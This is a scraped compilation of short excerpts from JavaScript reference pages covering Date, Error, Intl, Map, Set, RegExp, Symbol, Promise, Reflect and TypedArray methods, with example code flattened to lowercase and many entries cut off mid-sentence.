() { return this.getutcfullyear() + '-' + pad(this.getutcmonth() + 1) + '-' + pad(this.getutcdate()) + 't' + pad(this.getutchours()) + ':' + pad(this.getutcminutes()) + ':' + pad(this.getutcseconds()) + '.' + (this.getutcmilliseconds() / 1000).tofixed(3).slice(2, 5) + 'z'; }; })(); } examples using toisostring() let today = new date('05 october 2011 14:48 utc') console.log(today.toisostring()) // returns 2011-10-05t14:48:00.000z the above example uses parsing of a non–standard string value that may not be correctly parsed in non–mozilla browsers.
Date.prototype.toJSON() - JavaScript
examples using tojson() var jsondate = (new date()).tojson(); var backtodate = new date(jsondate); console.log(jsondate); //2015-10-26t07:46:36.611z specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tojson' in that specification.
Date.prototype.toTimeString() - JavaScript
examples a basic usage of totimestring() var d = new date(1993, 6, 28, 14, 39, 7); console.log(d.tostring()); // wed jul 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.totimestring()); // 14:39:07 gmt-0600 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.totimestring' in that specification.
Date.prototype.toUTCString() - JavaScript
examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toutcstring' in that specification.
Date.prototype.valueOf() - JavaScript
examples using valueof() var x = new date(56, 6, 17); var myvar = x.valueof(); // assigns -424713600000 to myvar specifications specification ecmascript (ecma-262)the definition of 'date.prototype.valueof' in that specification.
Error.prototype.columnNumber - JavaScript
examples using columnnumber var e = new error('could not parse input'); throw e; console.log(e.columnnumber) // 0 specifications not part of any standard.
Error.prototype.fileName - JavaScript
examples using filename var e = new error('could not parse input'); throw e; // e.filename could look like "file:///c:/example.html" specifications not part of any standard.
Error.prototype.lineNumber - JavaScript
examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support.
Error.prototype.message - JavaScript
examples throwing a custom error var e = new error('could not parse input'); // e.message is 'could not parse input' throw e; specifications specification ecmascript (ecma-262)the definition of 'error.prototype.message' in that specification.
Error.prototype.name - JavaScript
examples throwing a custom error var e = new error('malformed input'); // e.name is 'error' e.name = 'parseerror'; throw e; // e.tostring() would return 'parseerror: malformed input' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.name' in that specification.
Error.prototype.toSource() - JavaScript
for example: (newname(message ,filename,linenumber)) where these attributes correspond to the respective properties of the error instance.
Generator.prototype.throw() - JavaScript
function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification.
InternalError - JavaScript
constructor internalerror() creates a new internalerror object.
Intl.Collator.prototype.compare() - JavaScript
var a = ['offenbach', 'Österreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var ...
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' let fmt = new intl.datetimeformat("en", { hour: 'numeric', minute: 'numeric' }); console.log(fmt.formatrange(date1, date2)); // > '10:00 – 11:00 am' fmt.formatrangetoparts(date1, date2); // return value: // [ // { ty...
Intl.DisplayNames.prototype.of() - JavaScript
examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' ...
Intl​.ListFormat.prototype​.format() - JavaScript
const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification ...
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
examples using formattoparts const fruits = ['apple', 'orange', 'pineapple']; const mylistformat = new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }); console.table(mylistformat.formattoparts(fruits)); // [ // { "type": "element", "value": "apple" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "orange" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "pineapple" } // ] specifications specification ...
Intl.Locale.prototype.maximize() - JavaScript
examples using maximize let mylocale = new intl.locale("fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr" console.log(mylocale.tostring()); // prints "fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "fr-latn-fr".
Intl.Locale.prototype.minimize() - JavaScript
examples using minimize let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin script // and is most likely to be spoken in france.
Intl.Locale.prototype.toString() - JavaScript
examples using tostring let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat.prototype.formatToParts() - JavaScript
examples comparing format and formattoparts numberformat outputs localized, opaque strings that cannot be manipulated directly: var number = 3500; var formatter = new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }); formatter.format(number); // "3.500,00 €" however, in many user interfaces there is a desire to customize the formatting of this string.
Intl.PluralRules.select() - JavaScript
examples using select() new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pl...
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
examples using formattoparts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comm...
Intl - JavaScript
examples formatting dates and numbers you can use intl to format dates and numbers in a form that's conventional for a specific language and region: const count = 26254.39; const date = new date("2012-05-24"); function log(locale) { console.log( `${new intl.datetimeformat(locale).format(date)} ${new intl.numberformat(locale).format(count)}` ); } log("en-us"); // expected output: 5/24/2012 26,254.39 log("de-de"); // expected output: 24.5.2012 26.254,39 specifications specification ecmascript internationalization api (ecma-402)the definition of 'int...
Map.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') const mapiter = mymap[symbol.iterator]() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] using [@@iterator]() with for..of const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') for (const ...
Map.prototype[@@toStringTag] - JavaScript
property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification.
Map.prototype.clear() - JavaScript
examples using clear() var mymap = new map(); mymap.set('bar', 'baz'); mymap.set(1, 'foo'); mymap.size; // 2 mymap.has('bar'); // true mymap.clear(); mymap.size; // 0 mymap.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.clear' in that specification.
Map.prototype.delete() - JavaScript
examples using delete() var mymap = new map(); mymap.set('bar', 'foo'); mymap.delete('bar'); // returns true.
Map.prototype.get() - JavaScript
examples using get() let mymap = new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification.
Map.prototype.has() - JavaScript
examples using has() let mymap = new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification.
Map.prototype.set() - JavaScript
examples using set() let mymap = new map() // add new elements to the map mymap.set('bar', 'foo') mymap.set(1, 'foobar') // update an element in the map mymap.set('bar', 'baz') using the set() with chaining since the set() method returns back the same map object, you can chain the method call like below: // add new elements to the map with chaining.
Map.prototype.size - JavaScript
examples using size var mymap = new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification.
Math.fround() - JavaScript
polyfill this can be emulated with the following function, if float32array are supported: math.fround = math.fround || (function (array) { return function(x) { return array[0] = x, array[0]; }; })(new float32array(1)); supporting older browsers is slower, but also possible: if (!math.fround) math.fround = function(arg) { arg = number(arg); // return early for ±0 and nan.
Math.max() - JavaScript
function getmaxofarray(numarray) { return math.max.apply(null, numarray); } the new spread operator is a shorter way of writing the apply solution to get the maximum of an array: var arr = [1, 2, 3]; var max = math.max(...arr); however, both spread (...) and apply will either fail or return the wrong result if the array has too many elements, because they try to pass the array elements as function parameters.
Number.prototype.valueOf() - JavaScript
examples using valueof let numobj = new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification.
Object.getOwnPropertyNames() - JavaScript
items on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the no...
Object.prototype.isPrototypeOf() - JavaScript
examples using isprototypeof this example demonstrates that baz.prototype, bar.prototype, foo.prototype and object.prototype exist in the prototype chain for object baz: function foo() {} function bar() {} function baz() {} bar.prototype = object.create(foo.prototype); baz.prototype = object.create(bar.prototype); var baz = new baz(); console.log(baz.prototype.isprototypeof(baz)); // true console.log(bar.prototype.isprototypeof(baz)); // true console.log(foo.prototype.isprototypeof(baz)); // true console.log(object.prototype.isprototypeof(baz)); // true isprototypeof() method, along with the instanceof operator particularly comes in handy if you have code that can only function when dealing with objects descended fro...
Object.keys() - JavaScript
'tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenumslength = dontenums.length; return function(obj) { if (typeof obj !== 'function' && (typeof obj !== 'object' || obj === null)) { throw new typeerror('object.keys called on non-object'); } var result = [], prop, i; for (prop in obj) { if (hasownproperty.call(obj, prop)) { result.push(prop); } } if (hasdontenumbug) { for (i = 0; i < dontenumslength; i++) { if (hasownproperty.call(obj, dontenums[i])) { result.push(dontenums[i]); } ...
Object.prototype.propertyIsEnumerable() - JavaScript
inherited properties var a = []; a.propertyisenumerable('constructor'); // returns false function firstconstructor() { this.property = 'is not enumerable'; } firstconstructor.prototype.firstmethod = function() {}; function secondconstructor() { this.method = function() { return 'is enumerable'; }; } secondconstructor.prototype = new firstconstructor; secondconstructor.prototype.constructor = secondconstructor; var o = new secondconstructor(); o.arbitraryproperty = 'is enumerable'; o.propertyisenumerable('arbitraryproperty'); // returns true o.propertyisenumerable('method'); // returns true o.propertyisenumerable('property'); // returns false o.property = 'is enumerable'; o.propertyisenumerable('...
Object.prototype.toLocaleString() - JavaScript
cific identifiers (such as currency symbols) appended to them: for example: const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more suitable for specific locales: for example: const testdate = new date(date.now()); // "date fri may 29 2020 18:04:24 gmt+0100 (british summer time)" let dedate = testdate.tolocalestring('de'); // "29.5.2020, 18:04:24" var frdate = testdate.tolocalestring('fr'); //"29/05/2020 à 18:04:24" number tolocalestring() override on number objects, tolocalestring() is used to print out number displays more suitable for specific locales, e.g.
Promise.allSettled() - JavaScript
examples using promise.allsettled promise.allsettled([ promise.resolve(33), new promise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specifications specification ecmascript (ecma-262)the...
Promise.reject() - JavaScript
examples using the static promise.reject() method promise.reject(new error('fail')).then(function() { // not called }, function(error) { console.error(error); // stacktrace }); specifications specification ecmascript (ecma-262)the definition of 'promise.reject' in that specification.
Promise.resolve() - JavaScript
olving a thenable object var p1 = promise.resolve({ then: function(onfulfill, onreject) { onfulfill('fulfilled!'); } }); console.log(p1 instanceof promise) // true, object casted to a promise p1.then(function(v) { console.log(v); // "fulfilled!" }, function(e) { // not called }); // thenable throws before callback // promise rejects var thenable = { then: function(resolve) { throw new typeerror('throwing'); resolve('resolving'); }}; var p2 = promise.resolve(thenable); p2.then(function(v) { // not called }, function(e) { console.error(e); // typeerror: throwing }); // thenable throws after callback // promise resolves var thenable = { then: function(resolve) { resolve('resolving'); throw new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(fun...
Reflect.get() - JavaScript
examples using reflect.get() // object let obj = { x: 1, y: 2 } reflect.get(obj, 'x') // 1 // array reflect.get(['zero', 'one'], 1) // "one" // proxy with a get handler let x = {p: 1}; let obj = new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj = new proxy(x, { get(t, prop, receiver) { return receiver[prop] + 'bar' } }) reflect.get(obj, 'foo', y) // "3bar" specifications specification ecmascript (ecma-262)the definition ...
Reflect.has() - JavaScript
examples using reflect.has() reflect.has({x: 0}, 'x') // true reflect.has({x: 0}, 'y') // false // returns true for properties in the prototype chain reflect.has({x: 0}, 'tostring') // proxy with .has() handler method obj = new proxy({}, { has(t, k) { return k.startswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherited properties, like the in operator: const a = {foo: 123} const b = {__proto__: a} const c = {__proto__: b} // the prototype chain is: c -> b -> a reflect.has(c, 'foo') // true specifications specification...
Reflect.setPrototypeOf() - JavaScript
prototype the object's new prototype (an object or null).
RegExp.prototype[@@match]() - JavaScript
class myregexp extends regexp { [symbol.match](str) { let result = regexp.prototype[symbol.match].call(this, str); if (!result) return null; return { group(n) { return result[n]; } }; } } let re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)'); let str = '2016-01-02'; let result = str.match(re); // string.prototype.match calls re[@@match].
RegExp.prototype[@@matchAll]() - JavaScript
for example, to return an array instead of an iterator: class myregexp extends regexp { [symbol.matchall](str) { const result = regexp.prototype[symbol.matchall].call(this, str); if (!result) { return null; } else { return array.from(result); } } } const re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification.
RegExp.prototype[@@search]() - JavaScript
class myregexp extends regexp { constructor(str) { super(str) this.pattern = str; } [symbol.search](str) { return str.indexof(this.pattern); } } var re = new myregexp('a+b'); var str = 'ab a+b'; var result = str.search(re); // string.prototype.search calls re[@@search].
RegExp.prototype[@@split]() - JavaScript
class myregexp extends regexp { [symbol.split](str, limit) { let result = regexp.prototype[symbol.split].call(this, str, limit); return result.map(x => "(" + x + ")"); } } let re = new myregexp('-'); let str = '2016-01-02'; let result = str.split(re); // string.prototype.split calls re[@@split].
RegExp.prototype.exec() - JavaScript
a newer function has been proposed to simplify matching multiple parts of a string (with capture groups): string.prototype.matchall().
RegExp.prototype.global - JavaScript
examples using global var regex = new regexp('foo', 'g'); console.log(regex.global); // true var str = 'fooexamplefoo'; var str1 = str.replace(regex, ''); console.log(str1); // output: example var regex1 = new regexp('foo'); var str2 = str.replace(regex1, ''); console.log(str2); // output: examplefoo specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.global' in that spe...
RegExp.prototype.ignoreCase - JavaScript
examples using ignorecase var regex = new regexp('foo', 'i'); console.log(regex.ignorecase); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.ignorecase' in that specification.
RegExp.input ($_) - JavaScript
examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.multiline - JavaScript
examples using multiline var regex = new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification.
RegExp.prototype.source - JavaScript
new regexp().source; // "(?:)" new regexp('\n').source === '\n'; // true, prior to es5 new regexp('\n').source === '\\n'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification.
RegExp.prototype.unicode - JavaScript
examples using the unicode property var regex = new regexp('\u{61}', 'u'); console.log(regex.unicode); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.unicode' in that specification.
Set.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); const setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console.log(v); } specifications ...
Set.prototype.clear() - JavaScript
examples using the clear method var myset = new set(); myset.add(1); myset.add('foo'); myset.size; // 2 myset.has('foo'); // true myset.clear(); myset.size; // 0 myset.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'set.prototype.clear' in that specification.
Set.prototype.has() - JavaScript
examples using the has method var myset = new set(); myset.add('foo'); myset.has('foo'); // returns true myset.has('bar'); // returns false var set1 = new set(); var obj1 = {'key1': 1}; set1.add(obj1); set1.has(obj1); // returns true set1.has({'key1': 1}); // returns false because they are different object references set1.add({'key1': 1}); // now set1 contains 2 entries specifications specification ecmascript...
Set.prototype.size - JavaScript
examples using size var myset = new set(); myset.add(1); myset.add(5); myset.add('some text') myset.size; // 3 specifications specification ecmascript (ecma-262)the definition of 'set.prototype.size' in that specification.
SharedArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var sab = new sharedarraybuffer(1024); sab.bytelength; // 1024 specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.bytelength' in that specification.
String.prototype.localeCompare() - JavaScript
the new locales and options arguments let applications specify the language whose sort order should be used and customize the behavior of the function.
String.raw() - JavaScript
examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a newline character, // '\' and 'n' are two characters.
String.prototype.search() - JavaScript
if a non-regexp object regexp is passed, it is implicitly converted to a regexp with new regexp(regexp).
String.prototype.substr() - JavaScript
return value a new string containing the specified part of the given string.
String.prototype.toLocaleLowerCase() - JavaScript
return value a new string representing the calling string converted to lower case, according to any locale-specific case mappings.
String.prototype.toLocaleUpperCase() - JavaScript
return value a new string representing the calling string converted to upper case, according to any locale-specific case mappings.
String.prototype.toLowerCase() - JavaScript
syntax str.tolowercase() return value a new string representing the calling string converted to lower case.
String.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a string object: var x = new string('hello world'); console.log(x.tostring()); // logs 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tostring' in that specification.
String.prototype.toUpperCase() - JavaScript
syntax str.touppercase() return value a new string representing the calling string converted to upper case.
String.prototype.trim() - JavaScript
syntax str.trim() return value a new string representing the str stripped of whitespace from both ends.
String.prototype.trimEnd() - JavaScript
syntax str.trimend(); str.trimright(); return value a new string representing the calling string stripped of whitespace from its (right) end.
String.prototype.trimStart() - JavaScript
syntax str.trimstart(); str.trimleft(); return value a new string representing the calling string stripped of whitespace from its beginning (left end).
String.prototype.valueOf() - JavaScript
examples using valueof() var x = new string('hello world'); console.log(x.valueof()); // displays 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.valueof' in that specification.
Symbol.iterator - JavaScript
: var myiterable = {} myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; [...myiterable] // [1, 2, 3] or iterables can be defined directly inside a class or object using a computed property: class foo { *[symbol.iterator] () { yield 1; yield 2; yield 3; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } [...new foo] // [ 1, 2, 3 ] [...someobj] // [ 'a', 'b' ] non-well-formed iterables if an iterable's @@iterator method does not return an iterator object, then it is a non-well-formed iterable.
Symbol.keyFor() - JavaScript
examples using keyfor var globalsym = symbol.for('foo'); // create a new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.keyfor' in that specification.
Symbol.replace - JavaScript
property attributes of symbol.replace writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.search - JavaScript
erty attributes of symbol.search writable no enumerable no configurable no examples custom string search class caseinsensitivesearch { constructor(value) { this.value = value.tolowercase(); } [symbol.search](string) { return string.tolowercase().indexof(this.value); } } console.log('foobar'.search(new caseinsensitivesearch('bar'))); // expected output: 3 specifications specification ecmascript (ecma-262)the definition of 'symbol.search' in that specification.
Symbol.species - JavaScript
the species symbol lets you do this: class myarray extends array { // overwrite species to the parent array constructor static get [symbol.species]() { return array; } } let a = new myarray(1,2,3); let mapped = a.map(x => x * x); console.log(mapped instanceof myarray); // false console.log(mapped instanceof array); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.species' in that specification.
Symbol.split - JavaScript
property attributes of symbol.split writable no enumerable no configurable no examples custom reverse split class reversesplit { [symbol.split](string) { const array = string.split(' '); return array.reverse(); } } console.log('another one bites the dust'.split(new reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification.
TypedArray.prototype[@@iterator]() - JavaScript
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of arr) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr[symbol.iterator](); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecm...
TypedArray.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var uint16 = new uint16array(buffer); uint16.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.buffer' in that specification.
TypedArray.prototype.byteLength - JavaScript
examples using the bytelength property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascr...
TypedArray.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.byteoffset; // 0 (no offset specified) var uint8 = new uint8array(buffer, 3); uint8.byteoffset; // 3 (as specified when constructing uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.byteoffset' in that specification.
TypedArray.prototype.copyWithin() - JavaScript
examples using copywithin var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] uint8.copywithin(3,0,3); console.log(uint8); // uint8array [ 1, 2, 3, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.copywithin' in that specification.
TypedArray.prototype.fill() - JavaScript
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill if (!uint8array.prototype.fill) { uint8array.prototype.fill = array.prototype.fill; } examples using fill new uint8array([1, 2, 3]).fill(4); // uint8array [4, 4, 4] new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4] new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3] new uint8array([1, 2, 3]).fill(4, 1, 1); // uint8array [1, 2, 3] new uint8array([1, 2, 3]).fill(4, -3, -2); // uint8array [4, 2, 3] specifications specification ecmascript (ecma-...
TypedArray.prototype.find() - JavaScript
function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 = new uint8array([4, 5, 8, 12]); console.log(uint8.find(isprime)); // 5 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.find' in that specification.
TypedArray.prototype.includes() - JavaScript
examples using includes var uint8 = new uint8array([1,2,3]); uint8.includes(2); // true uint8.includes(4); // false uint8.includes(3, 3); // false // nan handling (only true for float32 and float64) new uint8array([nan]).includes(nan); // false, since the nan passed to the constructor gets converted to 0 new float32array([nan]).includes(nan); // true; new float64array([nan]).includes(nan); // true; specifications ...
TypedArray.prototype.indexOf() - JavaScript
examples using indexof var uint8 = new uint8array([2, 5, 9]); uint8.indexof(2); // 0 uint8.indexof(7); // -1 uint8.indexof(9, 2); // 2 uint8.indexof(2, -1); // -1 uint8.indexof(2, -3); // 0 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.indexof' in that specification.
TypedArray.prototype.join() - JavaScript
examples using join var uint8 = new uint8array([1,2,3]); uint8.join(); // '1,2,3' uint8.join(' / '); // '1 / 2 / 3' uint8.join(''); // '123' specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.join' in that specification.
TypedArray.prototype.lastIndexOf() - JavaScript
examples using lastindexof var uint8 = new uint8array([2, 5, 9, 2]); uint8.lastindexof(2); // 3 uint8.lastindexof(7); // -1 uint8.lastindexof(2, 3); // 3 uint8.lastindexof(2, 2); // 0 uint8.lastindexof(2, -2); // 0 uint8.lastindexof(2, -1); // 3 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.lastindexof' in that specification.
TypedArray.prototype.length - JavaScript
examples using the length property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)th...
TypedArray.prototype.reduce() - JavaScript
examples sum up all values within an array var total = new uint8array([0, 1, 2, 3]).reduce(function(a, b) { return a + b; }); // total == 6 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.reduce' in that specification.
TypedArray.prototype.reduceRight() - JavaScript
examples sum up all values within an array var total = new uint8array([0, 1, 2, 3]).reduceright(function(a, b) { return a + b; }); // total == 6 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.reduceright' in that specification.
TypedArray.prototype.reverse() - JavaScript
examples using reverse var uint8 = new uint8array([1, 2, 3]); uint8.reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.reverse' in that specification.
TypedArray.prototype.set() - JavaScript
examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.set' in that specification.
TypedArray.prototype.sort() - JavaScript
let numbers = new uint8array([40, 1, 5, 200]); numbers.sort(); // uint8array [ 1, 5, 40, 200 ] // unlike plain arrays, a compare function is not required // to sort the numbers numerically.
TypedArray.prototype.toLocaleString() - JavaScript
